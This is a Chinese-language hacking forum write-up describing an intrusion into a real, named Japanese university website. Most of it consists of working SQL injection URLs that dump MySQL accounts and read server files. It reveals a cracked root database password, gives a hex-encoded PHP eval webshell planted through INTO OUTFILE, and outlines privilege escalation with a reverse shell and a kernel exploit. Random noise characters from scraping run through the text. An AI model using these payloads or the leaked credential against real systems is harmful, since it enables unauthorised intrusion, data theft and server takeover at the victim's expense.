入侵日本同志社大学技术分析5 R) Y: c4 s: y9 Z: r( f+ V
9 p. J7 x. Y) e. R2 w" f m
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
5 Y' v9 @3 z) U0 |& y" b然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:$ w/ U. V i' M! Y) S
0 o$ B' E$ G" L3 t: W$ q
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user& J- E3 r' D8 y" x4 h# r* C
) T7 d. G8 K6 C. |3 ^6 ^( o" z
% f, Q" k% s* D6 i ]5 \9 n. ^, L* q( M
; q P O- _; }: x1 r" {//@@datadir为数据库文件路径 0 f) X6 A0 }1 @+ l
4 m# l% w" {+ r! Q( O7 I' m& k; K$ j6 k& a+ |4 @* {) Z
//load_file读取网站容器apache的配置文件
$ M. X3 M4 j, a. Q0 Y
% E: q) @& W, M0 H$ M- q3 c2 T+ B9 A
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 " [& U; z0 x% e4 z l3 O( h
复制代码0 r8 k( [# {& O0 l3 d
" V) B+ @! Q6 y' T
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
U+ x- ]; f7 l# V( o' q p
! Q6 Q5 i9 h1 p5 Z: j" M) p7 Z6 Y) d而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。- @! Y; n9 y" B5 u: F
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)# V0 {9 C) |- y+ K% ^2 X% Z
- p1 L: f) ]8 O5 U, b
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
" ?2 T7 J( b/ P4 z7 A' y; B如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
: |5 H! h9 d7 {% c
( D5 H9 L @5 Q0 `/ A% h既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/1 w( b3 v1 i) B
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。- ?4 p6 E& n- e& G( z) }
直接写一句话:5 \+ D3 ~; V" ~& t& i" V; b
& G4 p% e& N. F. T( N% V/ e0 n3 s
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#4 I+ ^% o! N! d* s6 m/ R7 B9 N
9 d" b' i" y1 D" L; ` - W0 V4 h1 r2 Y+ s' n: `
, {7 x$ P1 B- N% W//最后的#是为了闭合前面的语句
1 Z. w: V$ X) i2 R4 G6 y& _ L( Q, k1 ~
3 F/ e G& q4 A
# {7 m5 ]5 s* B/ ]1 ~) ]) r4 [0 s8 C+ o/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
& D5 Z! Y/ h0 t1 r8 Q; X0 R4 Y# D
+ ]4 }2 a% p7 |4 R! Y6 [% F. ?! Z; L8 a" R z" Y# U
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 0 A0 B& |8 l0 o; _% S
! C$ T6 M9 ?, P. U0 [7 R- f- H
, b9 {7 o# F. _; P* p$ e! G% q% j//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 ) ~' q6 G/ z! K4 c! X* x
/ O* a4 M2 t7 ~7 _' U0 E
; V2 P$ n9 D) Q! G$ A+ w
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 * ?' a8 x" w: n! F/ K# v8 f
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
; D9 z3 \* }0 f4 d复制代码
" ~ ]" F) i# Q" K8 J* h' |& Y& U0 K* o5 }2 B+ B4 E+ J: \
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
C/ \. s9 Q1 B' ?通过上述注入语句,我们就得到了一句话木马:2 f7 e A& b1 h/ U& F
: t" F, j( u) y9 s2 J7 [7 n. ^" o# S
6 z( ^( \ P* K% H. f' B& s, B6 P7 W k
H( t# M3 ]$ s8 ]- P# h. ~
1 ]6 o8 l+ k: ^3 |
http://www.doshisha.ac.jp/english/engnews_img/aa.php
$ k; U9 d0 [* C+ x复制代码
. I8 |) Z$ @8 g. F4 I( ~* y6 r, Q1 y" e. C' \. ^! E
用菜刀连接,密码是cmd,如图所示:
$ u6 R" j7 P* E/ A3 {) C M* U然后在命令提示行里看了一下,现在的权限是:
; q: Q/ X5 [0 x+ r5 F$ `
; {2 x: p- {, w# w/ g1 f- \6 v9 J之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。% z8 K+ E( E* F8 ?4 G
好在赋权给这个文件夹不需要root,直接执行赋权语句:
: R. i; T. o4 d8 `1 O- ^% r# ^! X% q6 \6 ], @
" X4 s% t2 G( r! R1 F
: Q* n3 h- z* C0 d' ?" C9 P
) Z1 s/ r# H7 R: y2 V
; O( Z; L7 L- @ e3 n5 w$ c5 b1 y
chmod +x /tmp/
7 z% Q( Q4 q2 G8 o+ t复制代码! ^+ i0 V+ t3 l" n; B6 O
; {- Q7 `: \; n$ y在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
# S3 X7 Q2 ^3 I然后就查了一下内核版本:
7 N; d h/ c& C+ j* [
$ \8 t' ^, c; c! \2 ~
1 H+ O/ r a* h) V5 i0 B" B5 g0 T3 Q8 E Z( ?% n4 J2 [, n
6 i* Q9 f0 _( u5 X" q* Y. O
8 K- a# Y) [+ n0 J: |! nuname-a + G# m+ A ^" Z! i) Q
/ R9 l" M4 g; Q |
$ Z, d9 p' L* Z4 B0 w% O& C//其实lsb_release -a
2 v7 ]) G* a4 Y复制代码6 j9 i. m% p* S. n
1 r! G% l' i6 b0 N如图所示:# Y. d; S7 i* Q+ C
% [3 U2 w5 l: ~- T) t内核版本:linux mainz1 2.6.28-194.e15
* W9 L5 f8 W# I8 v系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
3 x% r$ x# S3 i2 F/ ^" U/ B$ d查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
; e ~2 y ?5 i% I1 ~) L$ G$ Q, V) S. d
然后给予执行权限3 ]9 d7 _/ {+ {
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样' K( z' ~( O' ~$ T9 K: d- v
$ U( ^) k5 {1 f# x, @ & s) N5 K4 R2 }6 N$ {' D
Q$ }# `, U( m4 w. j
/ F$ p, _4 l% U% ^+ g( A
( ^* c3 l$ N6 M4 Q+ Ichmod +x /tmp/2.6.18-194 # {0 T# c c& \3 i @
复制代码 然后直接执行!~
/ h6 K4 |' f3 m4 ~: D5 H' U( E5 f. c7 }3 q1 Y
总结:
. r3 [* }# N: N, g' v1 ^! U4 u这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
2 D1 f: X, `) u2 l2 q$ K. @. a提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root) i$ i# d; F* f, R4 g) B: j
M0 m5 d3 T5 s4 K' w% r. ~8 ? |